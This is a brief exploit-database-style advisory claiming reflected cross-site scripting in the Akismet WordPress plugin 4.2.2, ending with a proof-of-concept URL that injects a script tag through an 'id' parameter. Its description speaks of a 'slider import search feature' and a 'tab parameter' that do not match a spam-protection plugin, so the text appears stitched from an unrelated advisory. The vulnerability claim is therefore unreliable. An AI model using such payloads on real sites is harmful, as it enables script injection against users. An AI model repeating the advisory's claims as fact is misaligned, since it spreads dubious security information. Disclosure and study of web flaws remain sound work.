WordPress Akismet Spam Protection 4.2.2 Cross Site Scripting

2022.03.24
Credit: Milad Karimi
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: WordPress Plugin Akismet Spam Protection v4.2.2 - Cross Site Scripting (XSS) # Date: 2022-03-22 # Author: Milad karimi # Software Link: https://wordpress.org/plugins/akismet # Version: 4.2.2 # Tested on: Windows 11 # CVE: N/A 1. Description: This plugin creates a Akismet Spam Protection from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting. 2. Proof of Concept: http://localhost/akismet/akismet.php?id=<script>alert("test")</script>


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